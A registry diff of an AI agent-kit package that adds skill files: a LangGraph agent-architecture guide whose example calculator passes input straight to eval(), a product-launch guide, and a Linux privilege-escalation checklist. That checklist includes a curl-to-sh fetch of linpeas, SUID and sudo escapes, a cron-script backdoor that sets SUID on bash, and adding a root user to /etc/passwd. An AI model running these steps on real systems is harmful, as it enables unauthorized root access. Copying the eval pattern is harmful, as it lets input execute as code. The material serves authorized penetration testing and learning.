@musashishao/agent-kit 1.8.1 → 1.9.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.agent/agents/ai-architect.md +39 -0
- package/.agent/agents/cloud-engineer.md +39 -0
- package/.agent/agents/game-asset-curator.md +317 -0
- package/.agent/agents/game-developer.md +190 -89
- package/.agent/agents/game-narrative-designer.md +310 -0
- package/.agent/agents/game-qa-agent.md +441 -0
- package/.agent/agents/marketing-specialist.md +41 -0
- package/.agent/agents/penetration-tester.md +15 -1
- package/.agent/rules/CODEX.md +26 -2
- package/.agent/rules/GEMINI.md +7 -5
- package/.agent/rules/REFERENCE.md +92 -2
- package/.agent/scripts/ak_cli.py +1 -1
- package/.agent/scripts/localize_workflows.py +54 -0
- package/.agent/scripts/memory_manager.py +24 -1
- package/.agent/skills/3d-web-experience/SKILL.md +386 -0
- package/.agent/skills/DEPENDENCIES.md +54 -0
- package/.agent/skills/ab-test-setup/SKILL.md +77 -0
- package/.agent/skills/active-directory-attacks/SKILL.md +59 -0
- package/.agent/skills/agent-evaluation/SKILL.md +430 -0
- package/.agent/skills/agent-memory-systems/SKILL.md +426 -0
- package/.agent/skills/agent-tool-builder/SKILL.md +139 -0
- package/.agent/skills/ai-agents-architect/SKILL.md +115 -0
- package/.agent/skills/ai-product/SKILL.md +86 -0
- package/.agent/skills/ai-wrapper-product/SKILL.md +90 -0
- package/.agent/skills/analytics-tracking/SKILL.md +88 -0
- package/.agent/skills/api-fuzzing-bug-bounty/SKILL.md +66 -0
- package/.agent/skills/app-store-optimization/SKILL.md +66 -0
- package/.agent/skills/autonomous-agent-patterns/SKILL.md +414 -0
- package/.agent/skills/aws-penetration-testing/SKILL.md +50 -0
- package/.agent/skills/aws-serverless/SKILL.md +327 -0
- package/.agent/skills/azure-functions/SKILL.md +340 -0
- package/.agent/skills/broken-authentication/SKILL.md +53 -0
- package/.agent/skills/browser-automation/SKILL.md +408 -0
- package/.agent/skills/browser-extension-builder/SKILL.md +422 -0
- package/.agent/skills/bullmq-specialist/SKILL.md +424 -0
- package/.agent/skills/bun-development/SKILL.md +386 -0
- package/.agent/skills/burp-suite-testing/SKILL.md +60 -0
- package/.agent/skills/clerk-auth/SKILL.md +432 -0
- package/.agent/skills/cloud-penetration-testing/SKILL.md +51 -0
- package/.agent/skills/copywriting/SKILL.md +66 -0
- package/.agent/skills/crewai/SKILL.md +470 -0
- package/.agent/skills/discord-bot-architect/SKILL.md +447 -0
- package/.agent/skills/email-sequence/SKILL.md +73 -0
- package/.agent/skills/ethical-hacking-methodology/SKILL.md +67 -0
- package/.agent/skills/firebase/SKILL.md +377 -0
- package/.agent/skills/game-development/godot-expert/SKILL.md +462 -0
- package/.agent/skills/game-development/npc-ai-integration/SKILL.md +110 -0
- package/.agent/skills/game-development/procedural-generation/SKILL.md +168 -0
- package/.agent/skills/game-development/unity-integration/SKILL.md +358 -0
- package/.agent/skills/game-development/webgpu-shading/SKILL.md +209 -0
- package/.agent/skills/gcp-cloud-run/SKILL.md +358 -0
- package/.agent/skills/graphql/SKILL.md +492 -0
- package/.agent/skills/idor-testing/SKILL.md +64 -0
- package/.agent/skills/inngest/SKILL.md +128 -0
- package/.agent/skills/langfuse/SKILL.md +415 -0
- package/.agent/skills/langgraph/SKILL.md +360 -0
- package/.agent/skills/launch-strategy/SKILL.md +68 -0
- package/.agent/skills/linux-privilege-escalation/SKILL.md +62 -0
- package/.agent/skills/llm-app-patterns/SKILL.md +367 -0
- package/.agent/skills/marketing-ideas/SKILL.md +66 -0
- package/.agent/skills/metasploit-framework/SKILL.md +60 -0
- package/.agent/skills/micro-saas-launcher/SKILL.md +93 -0
- package/.agent/skills/neon-postgres/SKILL.md +339 -0
- package/.agent/skills/paid-ads/SKILL.md +64 -0
- package/.agent/skills/supabase-integration/SKILL.md +411 -0
- package/.agent/workflows/ai-agent.md +36 -0
- package/.agent/workflows/autofix.md +1 -0
- package/.agent/workflows/brainstorm.md +1 -0
- package/.agent/workflows/context.md +1 -0
- package/.agent/workflows/create.md +1 -0
- package/.agent/workflows/dashboard.md +1 -0
- package/.agent/workflows/debug.md +1 -0
- package/.agent/workflows/deploy.md +1 -0
- package/.agent/workflows/enhance.md +1 -0
- package/.agent/workflows/game-prototype.md +154 -0
- package/.agent/workflows/marketing.md +37 -0
- package/.agent/workflows/next.md +1 -0
- package/.agent/workflows/orchestrate.md +1 -0
- package/.agent/workflows/pentest.md +37 -0
- package/.agent/workflows/plan.md +1 -0
- package/.agent/workflows/preview.md +2 -1
- package/.agent/workflows/quality.md +1 -0
- package/.agent/workflows/saas.md +36 -0
- package/.agent/workflows/spec.md +1 -0
- package/.agent/workflows/status.md +1 -0
- package/.agent/workflows/test.md +1 -0
- package/.agent/workflows/ui-ux-pro-max.md +1 -0
- package/README.md +52 -24
- package/bin/cli.js +68 -3
- package/docs/CHANGELOG_AI_INFRA.md +30 -0
- package/docs/MIGRATION_GUIDE_V1.9.md +55 -0
- package/package.json +1 -1
|
@@ -0,0 +1,360 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: langgraph
|
|
3
|
+
description: "LangGraph agent architecture expert. Build production-grade AI agents with explicit graph structures, state management, and conditional routing. Use when building complex agent workflows, multi-step reasoning, or stateful AI applications."
|
|
4
|
+
version: "1.0.0"
|
|
5
|
+
source: "antigravity-awesome-skills (adapted)"
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# 🔗 LangGraph
|
|
9
|
+
|
|
10
|
+
**Role**: LangGraph Agent Architect
|
|
11
|
+
|
|
12
|
+
You are an expert in building production-grade AI agents with LangGraph. You understand that agents need explicit structure - graphs make the flow visible and debuggable. You design state carefully, use reducers appropriately, and always consider persistence for production.
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## When to Use This Skill
|
|
17
|
+
|
|
18
|
+
- Building complex, multi-step agent workflows
|
|
19
|
+
- Need explicit control flow (vs implicit ReAct loops)
|
|
20
|
+
- Stateful applications with persistence requirements
|
|
21
|
+
- Multi-agent orchestration
|
|
22
|
+
- Conditional branching based on LLM decisions
|
|
23
|
+
|
|
24
|
+
---
|
|
25
|
+
|
|
26
|
+
## Capabilities
|
|
27
|
+
|
|
28
|
+
- `langgraph`
|
|
29
|
+
- `agent-graphs`
|
|
30
|
+
- `state-management`
|
|
31
|
+
- `conditional-edges`
|
|
32
|
+
- `tool-nodes`
|
|
33
|
+
- `checkpointing`
|
|
34
|
+
- `human-in-the-loop`
|
|
35
|
+
- `multi-agent`
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## 1. Core Concepts
|
|
40
|
+
|
|
41
|
+
### Graph Structure
|
|
42
|
+
|
|
43
|
+
```
|
|
44
|
+
┌─────────────────────────────────────────────────┐
|
|
45
|
+
│ LangGraph Flow │
|
|
46
|
+
│ │
|
|
47
|
+
│ START ──▶ [Node A] ──▶ [Node B] ──▶ END │
|
|
48
|
+
│ │ ▲ │
|
|
49
|
+
│ ▼ │ │
|
|
50
|
+
│ [Node C] ─────────┘ │
|
|
51
|
+
│ (conditional) │
|
|
52
|
+
└─────────────────────────────────────────────────┘
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
### Key Components
|
|
56
|
+
|
|
57
|
+
| Component | Description |
|
|
58
|
+
|-----------|-------------|
|
|
59
|
+
| **State** | TypedDict defining data flowing through graph |
|
|
60
|
+
| **Nodes** | Functions that transform state |
|
|
61
|
+
| **Edges** | Connections between nodes |
|
|
62
|
+
| **Reducers** | How state updates are merged |
|
|
63
|
+
| **Checkpointer** | Persistence layer for state |
|
|
64
|
+
|
|
65
|
+
---
|
|
66
|
+
|
|
67
|
+
## 2. Patterns
|
|
68
|
+
|
|
69
|
+
### 2.1 Basic Agent Graph
|
|
70
|
+
|
|
71
|
+
Simple ReAct-style agent with tools.
|
|
72
|
+
|
|
73
|
+
```python
|
|
74
|
+
from typing import Annotated, TypedDict
|
|
75
|
+
from langgraph.graph import StateGraph, START, END
|
|
76
|
+
from langgraph.graph.message import add_messages
|
|
77
|
+
from langgraph.prebuilt import ToolNode
|
|
78
|
+
from langchain_openai import ChatOpenAI
|
|
79
|
+
from langchain_core.tools import tool
|
|
80
|
+
|
|
81
|
+
# 1. Define State
|
|
82
|
+
class AgentState(TypedDict):
|
|
83
|
+
messages: Annotated[list, add_messages]
|
|
84
|
+
# add_messages reducer appends, doesn't overwrite
|
|
85
|
+
|
|
86
|
+
# 2. Define Tools
|
|
87
|
+
@tool
|
|
88
|
+
def search(query: str) -> str:
|
|
89
|
+
"""Search the web for information."""
|
|
90
|
+
return f"Results for: {query}"
|
|
91
|
+
|
|
92
|
+
@tool
|
|
93
|
+
def calculator(expression: str) -> str:
|
|
94
|
+
"""Evaluate a math expression."""
|
|
95
|
+
return str(eval(expression))
|
|
96
|
+
|
|
97
|
+
tools = [search, calculator]
|
|
98
|
+
|
|
99
|
+
# 3. Create LLM with tools
|
|
100
|
+
llm = ChatOpenAI(model="gpt-4o").bind_tools(tools)
|
|
101
|
+
|
|
102
|
+
# 4. Define Nodes
|
|
103
|
+
def agent(state: AgentState) -> dict:
|
|
104
|
+
"""The agent node - calls LLM."""
|
|
105
|
+
response = llm.invoke(state["messages"])
|
|
106
|
+
return {"messages": [response]}
|
|
107
|
+
|
|
108
|
+
tool_node = ToolNode(tools)
|
|
109
|
+
|
|
110
|
+
# 5. Define Routing
|
|
111
|
+
def should_continue(state: AgentState) -> str:
|
|
112
|
+
"""Route based on whether tools were called."""
|
|
113
|
+
last_message = state["messages"][-1]
|
|
114
|
+
if last_message.tool_calls:
|
|
115
|
+
return "tools"
|
|
116
|
+
return END
|
|
117
|
+
|
|
118
|
+
# 6. Build Graph
|
|
119
|
+
graph = StateGraph(AgentState)
|
|
120
|
+
|
|
121
|
+
graph.add_node("agent", agent)
|
|
122
|
+
graph.add_node("tools", tool_node)
|
|
123
|
+
|
|
124
|
+
graph.add_edge(START, "agent")
|
|
125
|
+
graph.add_conditional_edges("agent", should_continue, ["tools", END])
|
|
126
|
+
graph.add_edge("tools", "agent") # Loop back
|
|
127
|
+
|
|
128
|
+
# 7. Compile
|
|
129
|
+
app = graph.compile()
|
|
130
|
+
|
|
131
|
+
# 8. Run
|
|
132
|
+
result = app.invoke({
|
|
133
|
+
"messages": [("user", "What is 25 * 4?")]
|
|
134
|
+
})
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
### 2.2 State with Reducers
|
|
138
|
+
|
|
139
|
+
Complex state management with custom reducers.
|
|
140
|
+
|
|
141
|
+
```python
|
|
142
|
+
from typing import Annotated, TypedDict
|
|
143
|
+
from operator import add
|
|
144
|
+
|
|
145
|
+
# Custom reducer for merging dictionaries
|
|
146
|
+
def merge_dicts(left: dict, right: dict) -> dict:
|
|
147
|
+
return {**left, **right}
|
|
148
|
+
|
|
149
|
+
# State with multiple reducers
|
|
150
|
+
class ResearchState(TypedDict):
|
|
151
|
+
# Messages append (don't overwrite)
|
|
152
|
+
messages: Annotated[list, add_messages]
|
|
153
|
+
|
|
154
|
+
# Research findings merge
|
|
155
|
+
findings: Annotated[dict, merge_dicts]
|
|
156
|
+
|
|
157
|
+
# Sources accumulate
|
|
158
|
+
sources: Annotated[list[str], add]
|
|
159
|
+
|
|
160
|
+
# Current step (overwrites - no reducer)
|
|
161
|
+
current_step: str
|
|
162
|
+
|
|
163
|
+
# Error count (custom reducer)
|
|
164
|
+
errors: Annotated[int, lambda a, b: a + b]
|
|
165
|
+
|
|
166
|
+
# Nodes return partial state updates
|
|
167
|
+
def researcher(state: ResearchState) -> dict:
|
|
168
|
+
return {
|
|
169
|
+
"findings": {"topic_a": "New finding"},
|
|
170
|
+
"sources": ["source1.com"],
|
|
171
|
+
"current_step": "researching"
|
|
172
|
+
}
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
### 2.3 Conditional Branching
|
|
176
|
+
|
|
177
|
+
Route to different paths based on state.
|
|
178
|
+
|
|
179
|
+
```python
|
|
180
|
+
class RouterState(TypedDict):
|
|
181
|
+
query: str
|
|
182
|
+
query_type: str
|
|
183
|
+
result: str
|
|
184
|
+
|
|
185
|
+
def classifier(state: RouterState) -> dict:
|
|
186
|
+
query = state["query"].lower()
|
|
187
|
+
if "code" in query:
|
|
188
|
+
return {"query_type": "coding"}
|
|
189
|
+
elif "search" in query:
|
|
190
|
+
return {"query_type": "search"}
|
|
191
|
+
return {"query_type": "chat"}
|
|
192
|
+
|
|
193
|
+
def route_query(state: RouterState) -> str:
|
|
194
|
+
return state["query_type"] # Returns node name
|
|
195
|
+
|
|
196
|
+
# Build graph
|
|
197
|
+
graph = StateGraph(RouterState)
|
|
198
|
+
|
|
199
|
+
graph.add_node("classifier", classifier)
|
|
200
|
+
graph.add_node("coding", coding_agent)
|
|
201
|
+
graph.add_node("search", search_agent)
|
|
202
|
+
graph.add_node("chat", chat_agent)
|
|
203
|
+
|
|
204
|
+
graph.add_edge(START, "classifier")
|
|
205
|
+
graph.add_conditional_edges(
|
|
206
|
+
"classifier",
|
|
207
|
+
route_query,
|
|
208
|
+
{"coding": "coding", "search": "search", "chat": "chat"}
|
|
209
|
+
)
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
### 2.4 Human-in-the-Loop
|
|
213
|
+
|
|
214
|
+
Pause for human approval using checkpoints.
|
|
215
|
+
|
|
216
|
+
```python
|
|
217
|
+
from langgraph.checkpoint.memory import MemorySaver
|
|
218
|
+
|
|
219
|
+
# Create checkpointer
|
|
220
|
+
memory = MemorySaver()
|
|
221
|
+
|
|
222
|
+
# Compile with checkpointer
|
|
223
|
+
app = graph.compile(
|
|
224
|
+
checkpointer=memory,
|
|
225
|
+
interrupt_before=["execute_action"] # Pause before this node
|
|
226
|
+
)
|
|
227
|
+
|
|
228
|
+
# Run until interrupt
|
|
229
|
+
config = {"configurable": {"thread_id": "user-123"}}
|
|
230
|
+
result = app.invoke({"messages": [("user", "Delete all files")]}, config)
|
|
231
|
+
|
|
232
|
+
# result.next == ["execute_action"]
|
|
233
|
+
# Show to user for approval...
|
|
234
|
+
|
|
235
|
+
# Resume after approval
|
|
236
|
+
if user_approved:
|
|
237
|
+
result = app.invoke(None, config) # Continue from checkpoint
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
### 2.5 Multi-Agent Supervisor
|
|
241
|
+
|
|
242
|
+
Supervisor delegates to specialized agents.
|
|
243
|
+
|
|
244
|
+
```python
|
|
245
|
+
class SupervisorState(TypedDict):
|
|
246
|
+
messages: Annotated[list, add_messages]
|
|
247
|
+
next_agent: str
|
|
248
|
+
|
|
249
|
+
def supervisor(state: SupervisorState) -> dict:
|
|
250
|
+
"""Supervisor decides which agent to call next."""
|
|
251
|
+
response = llm.invoke([
|
|
252
|
+
("system", "Route to: researcher, coder, or FINISH"),
|
|
253
|
+
*state["messages"]
|
|
254
|
+
])
|
|
255
|
+
return {"next_agent": response.content}
|
|
256
|
+
|
|
257
|
+
def route_to_agent(state: SupervisorState) -> str:
|
|
258
|
+
return state["next_agent"]
|
|
259
|
+
|
|
260
|
+
# Build supervisor graph
|
|
261
|
+
graph = StateGraph(SupervisorState)
|
|
262
|
+
|
|
263
|
+
graph.add_node("supervisor", supervisor)
|
|
264
|
+
graph.add_node("researcher", researcher_agent)
|
|
265
|
+
graph.add_node("coder", coder_agent)
|
|
266
|
+
|
|
267
|
+
graph.add_edge(START, "supervisor")
|
|
268
|
+
graph.add_conditional_edges(
|
|
269
|
+
"supervisor",
|
|
270
|
+
route_to_agent,
|
|
271
|
+
{"researcher": "researcher", "coder": "coder", "FINISH": END}
|
|
272
|
+
)
|
|
273
|
+
graph.add_edge("researcher", "supervisor")
|
|
274
|
+
graph.add_edge("coder", "supervisor")
|
|
275
|
+
```
|
|
276
|
+
|
|
277
|
+
---
|
|
278
|
+
|
|
279
|
+
## 3. Anti-Patterns
|
|
280
|
+
|
|
281
|
+
### ❌ Infinite Loop Without Exit
|
|
282
|
+
|
|
283
|
+
```python
|
|
284
|
+
# WRONG: No exit condition
|
|
285
|
+
graph.add_edge("agent", "tools")
|
|
286
|
+
graph.add_edge("tools", "agent") # Loops forever!
|
|
287
|
+
|
|
288
|
+
# CORRECT: Conditional exit
|
|
289
|
+
def should_continue(state):
|
|
290
|
+
if len(state["messages"]) > 20: # Safety limit
|
|
291
|
+
return END
|
|
292
|
+
if not state["messages"][-1].tool_calls:
|
|
293
|
+
return END
|
|
294
|
+
return "tools"
|
|
295
|
+
|
|
296
|
+
graph.add_conditional_edges("agent", should_continue)
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
### ❌ Stateless Nodes
|
|
300
|
+
|
|
301
|
+
```python
|
|
302
|
+
# WRONG: Using global/instance state
|
|
303
|
+
class BadAgent:
|
|
304
|
+
def __init__(self):
|
|
305
|
+
self.counter = 0 # State outside graph!
|
|
306
|
+
|
|
307
|
+
def process(self, state):
|
|
308
|
+
self.counter += 1 # Won't persist correctly
|
|
309
|
+
|
|
310
|
+
# CORRECT: All state in graph state
|
|
311
|
+
class AgentState(TypedDict):
|
|
312
|
+
counter: int
|
|
313
|
+
|
|
314
|
+
def process(state: AgentState) -> dict:
|
|
315
|
+
return {"counter": state["counter"] + 1}
|
|
316
|
+
```
|
|
317
|
+
|
|
318
|
+
### ❌ Giant Monolithic State
|
|
319
|
+
|
|
320
|
+
```python
|
|
321
|
+
# WRONG: Everything in one state
|
|
322
|
+
class GiantState(TypedDict):
|
|
323
|
+
user_data: dict
|
|
324
|
+
research: dict
|
|
325
|
+
code: dict
|
|
326
|
+
reviews: dict
|
|
327
|
+
# ... 50 more fields
|
|
328
|
+
|
|
329
|
+
# CORRECT: Focused state per subgraph
|
|
330
|
+
class ResearchState(TypedDict):
|
|
331
|
+
query: str
|
|
332
|
+
findings: list
|
|
333
|
+
|
|
334
|
+
class CodeState(TypedDict):
|
|
335
|
+
requirements: str
|
|
336
|
+
code: str
|
|
337
|
+
```
|
|
338
|
+
|
|
339
|
+
---
|
|
340
|
+
|
|
341
|
+
## 4. Production Checklist
|
|
342
|
+
|
|
343
|
+
| Check | Status |
|
|
344
|
+
|-------|--------|
|
|
345
|
+
| ✅ State has appropriate reducers | |
|
|
346
|
+
| ✅ Conditional edges have all paths covered | |
|
|
347
|
+
| ✅ Infinite loop protection (max iterations) | |
|
|
348
|
+
| ✅ Checkpointer configured for persistence | |
|
|
349
|
+
| ✅ Error handling in each node | |
|
|
350
|
+
| ✅ Timeouts for LLM calls | |
|
|
351
|
+
| ✅ Human-in-the-loop for risky actions | |
|
|
352
|
+
|
|
353
|
+
---
|
|
354
|
+
|
|
355
|
+
## Related Skills
|
|
356
|
+
|
|
357
|
+
- `llm-app-patterns` - LLM architecture patterns
|
|
358
|
+
- `crewai` - Alternative multi-agent framework
|
|
359
|
+
- `autonomous-agent-patterns` - Agent design patterns
|
|
360
|
+
- `langfuse` - Tracing for LangGraph
|
|
@@ -0,0 +1,68 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: launch-strategy
|
|
3
|
+
description: "Expertise in planning and executing product launches. Covers Product Hunt strategy, 'Build in Public', and multi-channel launch coordination."
|
|
4
|
+
version: "1.0.0"
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# 🚀 Launch Strategy
|
|
8
|
+
|
|
9
|
+
You are a Product Launch Specialist. You know how to create hype, build momentum, and turn a launch day into a sustainable growth engine. You focus on cross-channel coordination and "the first 24 hours".
|
|
10
|
+
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## When to Use This Skill
|
|
14
|
+
|
|
15
|
+
- Launching on Product Hunt, Hacker News, or Indie Hackers
|
|
16
|
+
- Executing a "Build in Public" campaign on Twitter/X
|
|
17
|
+
- Launching in specialized communities (Reddit, Discord)
|
|
18
|
+
- Coordinating team and early adopters for launch day
|
|
19
|
+
- Managing post-launch momentum
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Capabilities
|
|
24
|
+
|
|
25
|
+
- `product-hunt-strategy`
|
|
26
|
+
- `build-in-public`
|
|
27
|
+
- `hype-generation`
|
|
28
|
+
- `social-proof-stacking`
|
|
29
|
+
- `launch-logistics`
|
|
30
|
+
|
|
31
|
+
---
|
|
32
|
+
|
|
33
|
+
## 1. The Product Hunt Protocol
|
|
34
|
+
|
|
35
|
+
| Timeline | Action |
|
|
36
|
+
|----------|--------|
|
|
37
|
+
| **2 Weeks Before** | Build a "Waiting List" and gather 100+ early supporters. |
|
|
38
|
+
| **Launch Day 00:01** | Post! Reach out to your "Launch Group" for initial support. |
|
|
39
|
+
| **The First 4 Hours** | Rapid response to every single comment (boosts algorithm). |
|
|
40
|
+
| **Mid-Day** | Share progress on Twitter/X and LinkedIn to catch new timezones. |
|
|
41
|
+
| **Next Day** | Thank the community and share "First Day Stats". |
|
|
42
|
+
|
|
43
|
+
---
|
|
44
|
+
|
|
45
|
+
## 2. Build in Public (BIP) Hooks
|
|
46
|
+
|
|
47
|
+
Share what others hide to build trust:
|
|
48
|
+
- "The bug that nearly broke our launch."
|
|
49
|
+
- "Visual evolution: How we designed our UI."
|
|
50
|
+
- "Raw stats: Our journey to 10 customers."
|
|
51
|
+
- "What we learned from 50 user interviews."
|
|
52
|
+
|
|
53
|
+
---
|
|
54
|
+
|
|
55
|
+
## 3. Social Proof Stacking
|
|
56
|
+
|
|
57
|
+
Before the "big" launch, gather smaller wins:
|
|
58
|
+
- "Featured in [Newsletter Y]"
|
|
59
|
+
- "Used by [Influencer Z]"
|
|
60
|
+
- "Early access feedback: 'This saved me hours!'"
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
## Related Skills
|
|
65
|
+
|
|
66
|
+
- `marketing-ideas` - Content for the launch
|
|
67
|
+
- `copywriting` - The launch announcement
|
|
68
|
+
- `micro-saas-launcher` - Context for the product type
|
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: linux-privilege-escalation
|
|
3
|
+
description: "Techniques for elevating from a low-privileged user to Root on Linux systems. Covers SUID binaries, CRON jobs, Kernel exploits, and Sudo misconfigurations."
|
|
4
|
+
version: "1.0.0"
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# 🐧 Linux Privilege Escalation
|
|
8
|
+
|
|
9
|
+
You are a Linux post-exploitation specialist. You know that getting a shell is only the beginning; getting `root` is the goal. You have a checklist for every Linux box you land on.
|
|
10
|
+
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## The Escalation Checklist
|
|
14
|
+
|
|
15
|
+
### 1. Automated Enumeration
|
|
16
|
+
Don't do it all by hand.
|
|
17
|
+
- **Tools**: `LinPeas`, `LinEnum`, `Linux Smart Enumeration`.
|
|
18
|
+
- **Command**: `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh`
|
|
19
|
+
|
|
20
|
+
### 2. SUID/SGID Binaries
|
|
21
|
+
Binaries that run with the owner's permission (often root).
|
|
22
|
+
- **Find**: `find / -perm -u=s -type f 2>/dev/null`
|
|
23
|
+
- **Exploit**: Check `GTFOBins` for any binary found here.
|
|
24
|
+
|
|
25
|
+
### 3. Sudo Rights
|
|
26
|
+
Check what you can run as root without a password.
|
|
27
|
+
- **Command**: `sudo -l`
|
|
28
|
+
- **Example**: If you can run `sudo /usr/bin/vim`, you can escape to root via `:!/bin/sh`.
|
|
29
|
+
|
|
30
|
+
### 4. Cron Jobs
|
|
31
|
+
Scheduled tasks that might be running scripts you can edit.
|
|
32
|
+
- **Check**: `cat /etc/crontab`
|
|
33
|
+
- **Exploit**: If a root cron runs `/tmp/backup.sh`, simply add `chmod +s /bin/bash` to that script.
|
|
34
|
+
|
|
35
|
+
---
|
|
36
|
+
|
|
37
|
+
## Common Exploit Vectors
|
|
38
|
+
|
|
39
|
+
| Category | Vulnerability | Exploitation |
|
|
40
|
+
|----------|---------------|--------------|
|
|
41
|
+
| **Kernel** | Dirty COW, PwnKit | Run specialized C exploits. |
|
|
42
|
+
| **Config** | Writable `/etc/passwd` | Add a new root user directly to the file. |
|
|
43
|
+
| **Env** | PATH Hijacking | Create a fake binary in a writable PATH directory. |
|
|
44
|
+
| **Pass** | Cleartext in logs | Search `grep -ri "password" /var/log`. |
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## Interactive Shell Upgrade
|
|
49
|
+
Metasploit gives you a good shell, but a raw NC shell is brittle.
|
|
50
|
+
```bash
|
|
51
|
+
# Upgrade to TTY
|
|
52
|
+
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
|
53
|
+
# Then press Ctrl+Z -> 'stty raw -echo; fg' -> 'reset'
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
---
|
|
57
|
+
|
|
58
|
+
## Related Skills
|
|
59
|
+
|
|
60
|
+
- `ethical-hacking-methodology` - Post-exploitation context
|
|
61
|
+
- `metasploit-framework` - For initial access
|
|
62
|
+
- `vulnerability-scanner` - For Kernel version checks
|